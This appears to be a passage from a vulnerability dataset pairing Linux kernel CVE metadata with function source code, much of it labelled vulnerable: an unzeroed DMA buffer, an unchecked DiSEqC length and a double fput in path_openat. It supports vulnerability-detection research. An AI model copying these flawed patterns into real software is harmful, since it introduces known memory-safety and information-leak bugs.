NONE
UNCHANGED
NONE
NONE
HIGH
5.5
MEDIUM
1.8
3.6
nan
[{'url': 'https://github.com/torvalds/linux/commit/94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'name': 'https://github.com/torvalds/linux/commit/94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'refsource': 'MISC', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1514609', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1514609', 'refsource': 'MISC', 'tags': ['Issue Tracking']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1485815', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1485815', 'refsource': 'MISC', 'tags': ['Issue Tracking', 'Permissions Required']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'refsource': 'MISC', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1062', 'name': 'RHSA-2018:1062', 'refsource': 'REDHAT', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2018:0676', 'name': 'RHSA-2018:0676', 'refsource': 'REDHAT', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-476'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndExcluding': '4.2', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The rngapi_reset function in crypto/rng.c in the Linux kernel before 4.2 allows attackers to cause a denial of service (NULL pointer dereference).'}]
2018-04-12T01:29Z
2017-11-30T18:29Z
NULL Pointer Dereference
A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.
NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.
https://cwe.mitre.org/data/definitions/476.html
0
Herbert Xu
2015-04-21 10:46:46+08:00
crypto: rng - Remove old low-level rng interface Now that all rng implementations have switched over to the new interface, we can remove the old low-level interface. Signed-off-by: Herbert Xu <[email protected]>
94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
crypto_rng_generate
crypto_rng_generate( struct crypto_rng * tfm , const u8 * src , unsigned int slen , u8 * dst , unsigned int dlen)
['tfm', 'src', 'slen', 'dst', 'dlen']
static inline int crypto_rng_generate(struct crypto_rng *tfm, const u8 *src, unsigned int slen, u8 *dst, unsigned int dlen) { return tfm->generate(tfm, src, slen, dst, dlen); }
42
True
1
CVE-2017-15116
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
LOCAL
LOW
LOW
NONE
UNCHANGED
NONE
NONE
HIGH
5.5
MEDIUM
1.8
3.6
nan
[{'url': 'https://github.com/torvalds/linux/commit/94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'name': 'https://github.com/torvalds/linux/commit/94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'refsource': 'MISC', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1514609', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1514609', 'refsource': 'MISC', 'tags': ['Issue Tracking']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1485815', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1485815', 'refsource': 'MISC', 'tags': ['Issue Tracking', 'Permissions Required']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'refsource': 'MISC', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1062', 'name': 'RHSA-2018:1062', 'refsource': 'REDHAT', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2018:0676', 'name': 'RHSA-2018:0676', 'refsource': 'REDHAT', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-476'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndExcluding': '4.2', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The rngapi_reset function in crypto/rng.c in the Linux kernel before 4.2 allows attackers to cause a denial of service (NULL pointer dereference).'}]
2018-04-12T01:29Z
2017-11-30T18:29Z
NULL Pointer Dereference
A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.
NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.
https://cwe.mitre.org/data/definitions/476.html
0
Herbert Xu
2015-04-21 10:46:46+08:00
crypto: rng - Remove old low-level rng interface Now that all rng implementations have switched over to the new interface, we can remove the old low-level interface. Signed-off-by: Herbert Xu <[email protected]>
94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
crypto_rng_seedsize
crypto_rng_seedsize( struct crypto_rng * tfm)
['tfm']
static inline int crypto_rng_seedsize(struct crypto_rng *tfm) { return tfm->seedsize; }
14
True
1
CVE-2015-8950
False
False
False
True
AV:N/AC:M/Au:N/C:P/I:N/A:N
NETWORK
MEDIUM
NONE
PARTIAL
NONE
NONE
4.3
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
LOCAL
LOW
NONE
REQUIRED
UNCHANGED
HIGH
NONE
NONE
5.5
MEDIUM
1.8
3.6
nan
[{'url': 'https://github.com/torvalds/linux/commit/6829e274a623187c24f7cfc0e3d35f25d087fcc5', 'name': 'https://github.com/torvalds/linux/commit/6829e274a623187c24f7cfc0e3d35f25d087fcc5', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Patch']}, {'url': 'https://source.codeaurora.org/quic/la/kernel/msm-3.10/commit/?id=6e2c437a2d0a85d90d3db85a7471f99764f7bbf8', 'name': 'https://source.codeaurora.org/quic/la/kernel/msm-3.10/commit/?id=6e2c437a2d0a85d90d3db85a7471f99764f7bbf8', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Patch']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=6829e274a623187c24f7cfc0e3d35f25d087fcc5', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=6829e274a623187c24f7cfc0e3d35f25d087fcc5', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Patch']}, {'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.3', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.3', 'refsource': 'CONFIRM', 'tags': ['Release Notes']}, {'url': 'http://source.android.com/security/bulletin/2016-10-01.html', 'name': 'http://source.android.com/security/bulletin/2016-10-01.html', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://www.securityfocus.com/bid/93318', 'name': '93318', 'refsource': 'BID', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-200'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.0.2', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'arch/arm64/mm/dma-mapping.c in the Linux kernel before 4.0.3, as used in the ION subsystem in Android and other products, does not initialize certain data structures, which allows local users to obtain sensitive information from kernel memory by triggering a dma_mmap call.'}]
2016-11-28T19:50Z
2016-10-10T10:59Z
Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker. Some kinds of sensitive information include: private, personal information, such as personal messages, financial data, health records, geographic location, or contact details system status and environment, such as the operating system and installed packages business secrets and intellectual property network status and configuration the product's own code or internal state metadata, e.g. logging of connections or message headers indirect information, such as a discrepancy between two internal operations that can be observed by an outsider Information might be sensitive to different parties, each of which may have their own expectations for whether the information should be protected. These parties include: the product's own users people or organizations whose information is created or used by the product, even if they are not direct product users the product's administrators, including the admins of the system(s) and/or networks on which the product operates the developer Information exposures can occur in different ways: the code explicitly inserts sensitive information into resources or messages that are intentionally made accessible to unauthorized actors, but should not contain the information - i.e., the information should have been "scrubbed" or "sanitized" a different weakness or mistake indirectly inserts the sensitive information into resources, such as a web script error revealing the full system path of the program. the code manages resources that intentionally contain sensitive information, but the resources are unintentionally made accessible to unauthorized actors. In this case, the information exposure is resultant - i.e., a different weakness enabled the access to the information in the first place. It is common practice to describe any loss of confidentiality as an "information exposure," but this can lead to overuse of CWE-200 in CWE mapping. From the CWE perspective, loss of confidentiality is a technical impact that can arise from dozens of different weaknesses, such as insecure file permissions or out-of-bounds read. CWE-200 and its lower-level descendants are intended to cover the mistakes that occur in behaviors that explicitly manage, store, transfer, or cleanse sensitive information.
https://cwe.mitre.org/data/definitions/200.html
0
Marek Szyprowski
2015-04-23 12:46:16+01:00
arm64: dma-mapping: always clear allocated buffers Buffers allocated by dma_alloc_coherent() are always zeroed on Alpha, ARM (32bit), MIPS, PowerPC, x86/x86_64 and probably other architectures. It turned out that some drivers rely on this 'feature'. Allocated buffer might be also exposed to userspace with dma_mmap() call, so clearing it is desired from security point of view to avoid exposing random memory to userspace. This patch unifies dma_alloc_coherent() behavior on ARM64 architecture with other implementations by unconditionally zeroing allocated buffer. Cc: <[email protected]> # v3.14+ Signed-off-by: Marek Szyprowski <[email protected]> Signed-off-by: Will Deacon <[email protected]>
6829e274a623187c24f7cfc0e3d35f25d087fcc5
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
__alloc_from_pool
__alloc_from_pool( size_t size , struct page ** ret_page , gfp_t flags)
['size', 'ret_page', 'flags']
static void *__alloc_from_pool(size_t size, struct page **ret_page, gfp_t flags) { unsigned long val; void *ptr = NULL; if (!atomic_pool) { WARN(1, "coherent pool not initialised!\n"); return NULL; } val = gen_pool_alloc(atomic_pool, size); if (val) { phys_addr_t phys = gen_pool_virt_to_phys(atomic_pool, val); *ret_page = phys_to_page(phys); ptr = (void *)val; if (flags & __GFP_ZERO) memset(ptr, 0, size); } return ptr; }
101
True
1
CVE-2015-8950
False
False
False
True
AV:N/AC:M/Au:N/C:P/I:N/A:N
NETWORK
MEDIUM
NONE
PARTIAL
NONE
NONE
4.3
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
LOCAL
LOW
NONE
REQUIRED
UNCHANGED
HIGH
NONE
NONE
5.5
MEDIUM
1.8
3.6
nan
[{'url': 'https://github.com/torvalds/linux/commit/6829e274a623187c24f7cfc0e3d35f25d087fcc5', 'name': 'https://github.com/torvalds/linux/commit/6829e274a623187c24f7cfc0e3d35f25d087fcc5', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Patch']}, {'url': 'https://source.codeaurora.org/quic/la/kernel/msm-3.10/commit/?id=6e2c437a2d0a85d90d3db85a7471f99764f7bbf8', 'name': 'https://source.codeaurora.org/quic/la/kernel/msm-3.10/commit/?id=6e2c437a2d0a85d90d3db85a7471f99764f7bbf8', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Patch']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=6829e274a623187c24f7cfc0e3d35f25d087fcc5', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=6829e274a623187c24f7cfc0e3d35f25d087fcc5', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Patch']}, {'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.3', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.3', 'refsource': 'CONFIRM', 'tags': ['Release Notes']}, {'url': 'http://source.android.com/security/bulletin/2016-10-01.html', 'name': 'http://source.android.com/security/bulletin/2016-10-01.html', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://www.securityfocus.com/bid/93318', 'name': '93318', 'refsource': 'BID', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-200'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.0.2', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'arch/arm64/mm/dma-mapping.c in the Linux kernel before 4.0.3, as used in the ION subsystem in Android and other products, does not initialize certain data structures, which allows local users to obtain sensitive information from kernel memory by triggering a dma_mmap call.'}]
2016-11-28T19:50Z
2016-10-10T10:59Z
Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker. Some kinds of sensitive information include: private, personal information, such as personal messages, financial data, health records, geographic location, or contact details system status and environment, such as the operating system and installed packages business secrets and intellectual property network status and configuration the product's own code or internal state metadata, e.g. logging of connections or message headers indirect information, such as a discrepancy between two internal operations that can be observed by an outsider Information might be sensitive to different parties, each of which may have their own expectations for whether the information should be protected. These parties include: the product's own users people or organizations whose information is created or used by the product, even if they are not direct product users the product's administrators, including the admins of the system(s) and/or networks on which the product operates the developer Information exposures can occur in different ways: the code explicitly inserts sensitive information into resources or messages that are intentionally made accessible to unauthorized actors, but should not contain the information - i.e., the information should have been "scrubbed" or "sanitized" a different weakness or mistake indirectly inserts the sensitive information into resources, such as a web script error revealing the full system path of the program. the code manages resources that intentionally contain sensitive information, but the resources are unintentionally made accessible to unauthorized actors. In this case, the information exposure is resultant - i.e., a different weakness enabled the access to the information in the first place. It is common practice to describe any loss of confidentiality as an "information exposure," but this can lead to overuse of CWE-200 in CWE mapping. From the CWE perspective, loss of confidentiality is a technical impact that can arise from dozens of different weaknesses, such as insecure file permissions or out-of-bounds read. CWE-200 and its lower-level descendants are intended to cover the mistakes that occur in behaviors that explicitly manage, store, transfer, or cleanse sensitive information.
https://cwe.mitre.org/data/definitions/200.html
0
Marek Szyprowski
2015-04-23 12:46:16+01:00
arm64: dma-mapping: always clear allocated buffers Buffers allocated by dma_alloc_coherent() are always zeroed on Alpha, ARM (32bit), MIPS, PowerPC, x86/x86_64 and probably other architectures. It turned out that some drivers rely on this 'feature'. Allocated buffer might be also exposed to userspace with dma_mmap() call, so clearing it is desired from security point of view to avoid exposing random memory to userspace. This patch unifies dma_alloc_coherent() behavior on ARM64 architecture with other implementations by unconditionally zeroing allocated buffer. Cc: <[email protected]> # v3.14+ Signed-off-by: Marek Szyprowski <[email protected]> Signed-off-by: Will Deacon <[email protected]>
6829e274a623187c24f7cfc0e3d35f25d087fcc5
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
__dma_alloc_coherent
__dma_alloc_coherent( struct device * dev , size_t size , dma_addr_t * dma_handle , gfp_t flags , struct dma_attrs * attrs)
['dev', 'size', 'dma_handle', 'flags', 'attrs']
static void *__dma_alloc_coherent(struct device *dev, size_t size, dma_addr_t *dma_handle, gfp_t flags, struct dma_attrs *attrs) { if (dev == NULL) { WARN_ONCE(1, "Use an actual device structure for DMA allocation\n"); return NULL; } if (IS_ENABLED(CONFIG_ZONE_DMA) && dev->coherent_dma_mask <= DMA_BIT_MASK(32)) flags |= GFP_DMA; if (IS_ENABLED(CONFIG_DMA_CMA) && (flags & __GFP_WAIT)) { struct page *page; void *addr; size = PAGE_ALIGN(size); page = dma_alloc_from_contiguous(dev, size >> PAGE_SHIFT, get_order(size)); if (!page) return NULL; *dma_handle = phys_to_dma(dev, page_to_phys(page)); addr = page_address(page); if (flags & __GFP_ZERO) memset(addr, 0, size); return addr; } else { return swiotlb_alloc_coherent(dev, size, dma_handle, flags); } }
171
True
1
CVE-2015-9289
False
False
False
False
AV:L/AC:L/Au:N/C:C/I:N/A:N
LOCAL
LOW
NONE
COMPLETE
NONE
NONE
4.9
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
LOCAL
LOW
LOW
NONE
UNCHANGED
HIGH
NONE
NONE
5.5
MEDIUM
1.8
3.6
False
[{'url': 'https://mirrors.edge.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.1.4', 'name': 'https://mirrors.edge.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.1.4', 'refsource': 'MISC', 'tags': ['Release Notes']}, {'url': 'https://github.com/torvalds/linux/commit/1fa2337a315a2448c5434f41e00d56b01a22283c', 'name': 'https://github.com/torvalds/linux/commit/1fa2337a315a2448c5434f41e00d56b01a22283c', 'refsource': 'MISC', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=1fa2337a315a2448c5434f41e00d56b01a22283c', 'name': 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=1fa2337a315a2448c5434f41e00d56b01a22283c', 'refsource': 'MISC', 'tags': ['Patch', 'Vendor Advisory']}]
[{'description': [{'lang': 'en', 'value': 'CWE-125'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndExcluding': '4.1.4', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'In the Linux kernel before 4.1.4, a buffer overflow occurs when checking userspace params in drivers/media/dvb-frontends/cx24116.c. The maximum size for a DiSEqC command is 6, according to the userspace API. However, the code allows larger values such as 23.'}]
2019-12-11T19:29Z
2019-07-27T22:15Z
Out-of-bounds Read
The software reads data past the end, or before the beginning, of the intended buffer.
Typically, this can allow attackers to read sensitive information from other memory locations or cause a crash. A crash can occur when the code reads a variable amount of data and assumes that a sentinel exists to stop the read operation, such as a NUL in a string. The expected sentinel might not be located in the out-of-bounds memory, causing excessive data to be read, leading to a segmentation fault or a buffer overflow. The software may modify an index or perform pointer arithmetic that references a memory location that is outside of the boundaries of the buffer. A subsequent read operation then produces undefined or unexpected results.
https://cwe.mitre.org/data/definitions/125.html
0
Mauro Carvalho Chehab
2015-04-28 18:51:17-03:00
[media] cx24116: fix a buffer overflow when checking userspace params The maximum size for a DiSEqC command is 6, according to the userspace API. However, the code allows to write up much more values: drivers/media/dvb-frontends/cx24116.c:983 cx24116_send_diseqc_msg() error: buffer overflow 'd->msg' 6 <= 23 Cc: [email protected] Signed-off-by: Mauro Carvalho Chehab <[email protected]>
1fa2337a315a2448c5434f41e00d56b01a22283c
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
cx24116_send_diseqc_msg
cx24116_send_diseqc_msg( struct dvb_frontend * fe , struct dvb_diseqc_master_cmd * d)
['fe', 'd']
static int cx24116_send_diseqc_msg(struct dvb_frontend *fe, struct dvb_diseqc_master_cmd *d) { struct cx24116_state *state = fe->demodulator_priv; int i, ret; /* Dump DiSEqC message */ if (debug) { printk(KERN_INFO "cx24116: %s(", __func__); for (i = 0 ; i < d->msg_len ;) { printk(KERN_INFO "0x%02x", d->msg[i]); if (++i < d->msg_len) printk(KERN_INFO ", "); } printk(") toneburst=%d\n", toneburst); } /* Validate length */ if (d->msg_len > (CX24116_ARGLEN - CX24116_DISEQC_MSGOFS)) return -EINVAL; /* DiSEqC message */ for (i = 0; i < d->msg_len; i++) state->dsec_cmd.args[CX24116_DISEQC_MSGOFS + i] = d->msg[i]; /* DiSEqC message length */ state->dsec_cmd.args[CX24116_DISEQC_MSGLEN] = d->msg_len; /* Command length */ state->dsec_cmd.len = CX24116_DISEQC_MSGOFS + state->dsec_cmd.args[CX24116_DISEQC_MSGLEN]; /* DiSEqC toneburst */ if (toneburst == CX24116_DISEQC_MESGCACHE) /* Message is cached */ return 0; else if (toneburst == CX24116_DISEQC_TONEOFF) /* Message is sent without burst */ state->dsec_cmd.args[CX24116_DISEQC_BURST] = 0; else if (toneburst == CX24116_DISEQC_TONECACHE) { /* * Message is sent with derived else cached burst * * WRITE PORT GROUP COMMAND 38 * * 0/A/A: E0 10 38 F0..F3 * 1/B/B: E0 10 38 F4..F7 * 2/C/A: E0 10 38 F8..FB * 3/D/B: E0 10 38 FC..FF * * databyte[3]= 8421:8421 * ABCD:WXYZ * CLR :SET * * WX= PORT SELECT 0..3 (X=TONEBURST) * Y = VOLTAGE (0=13V, 1=18V) * Z = BAND (0=LOW, 1=HIGH(22K)) */ if (d->msg_len >= 4 && d->msg[2] == 0x38) state->dsec_cmd.args[CX24116_DISEQC_BURST] = ((d->msg[3] & 4) >> 2); if (debug) dprintk("%s burst=%d\n", __func__, state->dsec_cmd.args[CX24116_DISEQC_BURST]); } /* Wait for LNB ready */ ret = cx24116_wait_for_lnb(fe); if (ret != 0) return ret; /* Wait for voltage/min repeat delay */ msleep(100); /* Command */ ret = cx24116_cmd_execute(fe, &state->dsec_cmd); if (ret != 0) return ret; /* * Wait for send * * Eutelsat spec: * >15ms delay + (XXX determine if FW does this, see set_tone) * 13.5ms per byte + * >15ms delay + * 12.5ms burst + * >15ms delay (XXX determine if FW does this, see set_tone) */ msleep((state->dsec_cmd.args[CX24116_DISEQC_MSGLEN] << 4) + ((toneburst == CX24116_DISEQC_TONEOFF) ? 30 : 60)); return 0; }
343
True
1
CVE-2015-5706
False
False
False
False
AV:L/AC:L/Au:N/C:P/I:P/A:P
LOCAL
LOW
NONE
PARTIAL
PARTIAL
PARTIAL
4.6
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1250047', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1250047', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Patch', 'Third Party Advisory']}, {'url': 'http://twitter.com/grsecurity/statuses/597127122910490624', 'name': 'http://twitter.com/grsecurity/statuses/597127122910490624', 'refsource': 'MISC', 'tags': ['Broken Link']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f15133df088ecadd141ea1907f2c96df67c729f0', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f15133df088ecadd141ea1907f2c96df67c729f0', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'http://www.openwall.com/lists/oss-security/2015/08/01/5', 'name': '[oss-security] 20150801 CVE request: Use-after-free in path lookup in Linux 3.11-4.0 inclusive', 'refsource': 'MLIST', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.4', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.4', 'refsource': 'CONFIRM', 'tags': ['Release Notes', 'Vendor Advisory']}, {'url': 'https://github.com/torvalds/linux/commit/f15133df088ecadd141ea1907f2c96df67c729f0', 'name': 'https://github.com/torvalds/linux/commit/f15133df088ecadd141ea1907f2c96df67c729f0', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Third Party Advisory']}, {'url': 'http://www.securityfocus.com/bid/76142', 'name': '76142', 'refsource': 'BID', 'tags': ['Third Party Advisory', 'VDB Entry']}, {'url': 'http://www.debian.org/security/2015/dsa-3329', 'name': 'DSA-3329', 'refsource': 'DEBIAN', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2681-1', 'name': 'USN-2681-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2680-1', 'name': 'USN-2680-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'https://source.android.com/security/bulletin/2017-01-01.html', 'name': 'https://source.android.com/security/bulletin/2017-01-01.html', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Third Party Advisory']}]
[{'description': [{'lang': 'en', 'value': 'CWE-416'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionStartIncluding': '3.0', 'versionEndIncluding': '3.19.8', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionStartIncluding': '4.0', 'versionEndExcluding': '4.0.4', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:canonical:ubuntu_linux:12.04:*:*:*:esm:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:canonical:ubuntu_linux:14.04:*:*:*:esm:*:*:*', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:debian:debian_linux:8.0:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:debian:debian_linux:7.0:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'Use-after-free vulnerability in the path_openat function in fs/namei.c in the Linux kernel 3.x and 4.x before 4.0.4 allows local users to cause a denial of service or possibly have unspecified other impact via O_TMPFILE filesystem operations that leverage a duplicate cleanup operation.'}]
2020-08-13T14:15Z
2015-08-31T10:59Z
Use After Free
Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.
The use of previously-freed memory can have any number of adverse consequences, ranging from the corruption of valid data to the execution of arbitrary code, depending on the instantiation and timing of the flaw. The simplest way data corruption may occur involves the system's reuse of the freed memory. Use-after-free errors have two common and sometimes overlapping causes: Error conditions and other exceptional circumstances. Confusion over which part of the program is responsible for freeing the memory. In this scenario, the memory in question is allocated to another pointer validly at some point after it has been freed. The original pointer to the freed memory is used again and points to somewhere within the new allocation. As the data is changed, it corrupts the validly used memory; this induces undefined behavior in the process. If the newly allocated data chances to hold a class, in C++ for example, various function pointers may be scattered within the heap data. If one of these function pointers is overwritten with an address to valid shellcode, execution of arbitrary code can be achieved.
https://cwe.mitre.org/data/definitions/416.html
0
Al Viro
2015-05-08 22:53:15-04:00
path_openat(): fix double fput() path_openat() jumps to the wrong place after do_tmpfile() - it has already done path_cleanup() (as part of path_lookupat() called by do_tmpfile()), so doing that again can lead to double fput(). Cc: [email protected] # v3.11+ Signed-off-by: Al Viro <[email protected]>
f15133df088ecadd141ea1907f2c96df67c729f0
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
path_openat
path_openat( int dfd , struct filename * pathname , struct nameidata * nd , const struct open_flags * op , int flags)
['dfd', 'pathname', 'nd', 'op', 'flags']
static struct file *path_openat(int dfd, struct filename *pathname, struct nameidata *nd, const struct open_flags *op, int flags) { struct file *file; struct path path; int opened = 0; int error; file = get_empty_filp(); if (IS_ERR(file)) return file; file->f_flags = op->open_flag; if (unlikely(file->f_flags & __O_TMPFILE)) { error = do_tmpfile(dfd, pathname, nd, flags, op, file, &opened); goto out; } error = path_init(dfd, pathname, flags, nd); if (unlikely(error)) goto out; error = do_last(nd, &path, file, op, &opened, pathname); while (unlikely(error > 0)) { /* trailing symlink */ struct path link = path; void *cookie; if (!(nd->flags & LOOKUP_FOLLOW)) { path_put_conditional(&path, nd); path_put(&nd->path); error = -ELOOP; break; } error = may_follow_link(&link, nd); if (unlikely(error)) break; nd->flags |= LOOKUP_PARENT; nd->flags &= ~(LOOKUP_OPEN|LOOKUP_CREATE|LOOKUP_EXCL); error = follow_link(&link, nd, &cookie); if (unlikely(error)) break; error = do_last(nd, &path, file, op, &opened, pathname); put_link(nd, &link, cookie); } out: path_cleanup(nd); if (!(opened & FILE_OPENED)) { BUG_ON(!error); put_filp(file); } if (unlikely(error)) { if (error == -EOPENSTALE) { if (flags & LOOKUP_RCU) error = -ECHILD; else error = -ESTALE; } file = ERR_PTR(error); } return file; }
364
True
1
CVE-2015-4700
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
